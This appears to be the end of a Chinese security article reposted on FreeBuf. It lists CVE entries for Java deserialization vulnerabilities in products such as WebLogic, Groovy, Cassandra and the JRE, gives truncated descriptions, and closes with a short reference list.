CVE-2015-4852:he WLS Security component in Oracle WebLogic Server 10.3.6.0,12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers to executearbitrary commands via a crafted serialized Java object in T3 protoco…

CVE-2015-3253:he MethodClosure class in runtime/MethodClosure.java in Apache Groovy1.7.0 through 2.4.3 allows remote attackers to execute arbitrary codeor cause a denial of service via a crafted serialized objec…

CVE-2015-2828:A Spectrum 9.2.x and 9.3.x before 9.3 H02 does not properly validateserialized Java objects, which allows remote authenticated users toobtain administrative privileges via crafted object data.

CVE-2015-0225:he default configuration in Apache Cassandra 1.2.0 through 1.2.19,2.0.0 through 2.0.13, and 2.1.0 through 2.1.3 binds an unauthenticatedJMX/RMI interface to all network interfaces, which allows rem…

CVE-2014-9757:he Ignite Realtime Smack XMPP API, as used in Atlassian Bamboo before5.9.9 and 5.10.x before 5.10.0, allows remote configured XMPP serversto execute arbitrary Java code via serialized data in an XM…

CVE-2014-7911:uni/src/main/java/java/io/ObjectInputStream.java in thejava.io.ObjectInputStream implementation in Android before 5.0.0 doesnot verify that deserialization will result in an object that met thereq…

CVE-2013-5960:he authenticated-encryption feature in the symmetric-encryptionimplementation in the OWASP Enterprise Security API (ESAPI) for Java2.x before 2.1.0.1 does not properly resist tampering with seriali…

CVE-2013-5679:he authenticated-encryption feature in the symmetric-encryptionimplementation in the OWASP Enterprise Security API (ESAPI) for Java2.x before 2.1.0 does not properly resist tampering with serialize…

CVE-2013-4271:he default configuration of the ObjectRepresentation class in Restletbefore 2.1.4 deserializes objects from untrusted sources, which allowsremote attackers to execute arbitrary Java code via a seri…

CVE-2013-2165:esourceBuilderImpl.java in the RichFaces 3.x through 5.ximplementation in Red Hat JBoss Web Framework Kit before 2.3.0, RedHat JBoss Web Platform through 5.2.0, Red Hat JBoss EnterpriseApplication…

CVE-2013-0441:nspecified vulnerability in the Java Runtime Environment (JRE)component in Oracle Java SE 7 through Update 11, 6 through Update 38,5.0 through Update 38, and 1.4.2_40 and earlier, and OpenJDK 6 and…

CVE-2012-4858:BM Cognos Business Intelligence (BI) 8.4.1 before IF1, 10.1 beforeIF2, 10.1.1 before IF2, and 10.2 before IF1 does not properly validateJava serialized input, which allows remote attackers to execu…

CVE-2009-1094:nspecified vulnerability in the LDAP implementation in Java SEDevelopment Kit (JDK) and Java Runtime Environment (JRE) 5.0 Update 17and earlier; 6 Update 12 and earlier; SDK and JRE 1.3.1_24 andea…

CVE-2005-3583:1) Java Runtime Environment (JRE) and (2) Software Development Kit(SDK) 1.4.208, 1.4.209, and 1.5.0_05 and possibly other versionsallow remote attackers to cause a denial of service (JVM unrespon…

CVE-2004-2540:eadObject in (1) Java Runtime Environment (JRE) and (2) SoftwareDevelopment Kit (SDK) 1.4.0 through 1.4.2_05 allows remote attackersto cause a denial of service (JVM unresponsive) via crafted seria…

参考资料

2017年反序列化漏洞年度报告

Common Vulnerabilities and Exposures

Lib之过?Java反序列化漏洞通用利用分析

* 本文作者:知道创宇云安全,转载注明来自FreeBuf.COM